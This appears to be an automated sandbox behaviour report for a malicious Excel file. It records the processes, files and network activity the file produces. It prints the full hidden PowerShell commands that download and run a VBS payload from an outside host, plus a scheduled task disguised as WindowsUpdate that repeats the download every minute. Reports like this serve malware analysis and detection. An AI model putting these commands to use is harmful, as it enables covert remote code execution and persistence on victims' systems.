Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- <SYSTEM32>\tasks\windowsupdate
Malicious functions
Downloads and executes
- http://fast-cargo.com/images/file/newvbs/1.vbs as c:\users\public\\svchost325.vbs
- \http://fast-cargo.com/images/file/newvbs/1.vbs\ as \$env:public\svchost32.vbs\
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' /c powershell -W Hidden (New-Object System.NeT.WeBClieNT).DownloadFile('http://fast-cargo.com/images/file/newvbs/1.vbs','%Public%\\svchost325.vbs');Start-Process '%Public%\\svchost325.vbs'
- '<SYSTEM32>\schtasks.exe' /Create /sc MINUTE /MO 1 /TN WindowsUpdate /TR "Powershell -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile(\\\"http://fast-cargo.com/images/file/newvbs/1.vbs\\\",\\\"$env:pub...
Modifies file system
Creates the following files
- C:\users\public\svchost325.vbs
- C:\users\public\svchost32.vbs
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.word\~wrf{fadeac2f-8d5f-4c50-bbfa-6891f6084e2f}.tmp
Network activity
Connects to
- 'fa###cargo.com':80
TCP
HTTP GET requests
- http://fa###cargo.com/images/file/newvbs/1.vbs
UDP
- DNS ASK fa###cargo.com
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\wscript.exe' "C:\Users\Public\svchost325.vbs"
- '<SYSTEM32>\wscript.exe' "C:\Users\Public\svchost32.vbs"
Executes the following
- '%ProgramFiles%\microsoft office\office14\excel.exe' -Embedding
- '<SYSTEM32>\wscript.exe' "C:\Users\Public\svchost325.vbs"
- '<SYSTEM32>\taskeng.exe' {AF25ECC0-6FD0-400E-9717-C8AA3A8C35C9} S-1-5-21-3150914307-1777937420-491476919-1000:wfgemyxb\user:Interactive:[1]
- '%ProgramFiles%\microsoft office\office14\excelcnv.exe' -Embedding
- '<SYSTEM32>\cmd.exe' /c powershell -W Hidden (New-Object System.NeT.WeBClieNT).DownloadFile('http://fast-cargo.com/images/file/newvbs/1.vbs','%Public%\\svchost325.vbs');Start-Process '%Public%\\svchost325.vbs'' (with hidden window)
- '<SYSTEM32>\schtasks.exe' /Create /sc MINUTE /MO 1 /TN WindowsUpdate /TR "Powershell -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile(\\\"http://fast-cargo.com/images/file/newvbs/1.vbs\\\",\\\"$env:pub...' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile(\"http://fast-cargo.com/images/file/newvbs/1.vbs\",\"$env:public\svchost32.vbs\");(New-Object -com Shell.Application).ShellExe...' (with hidden window)
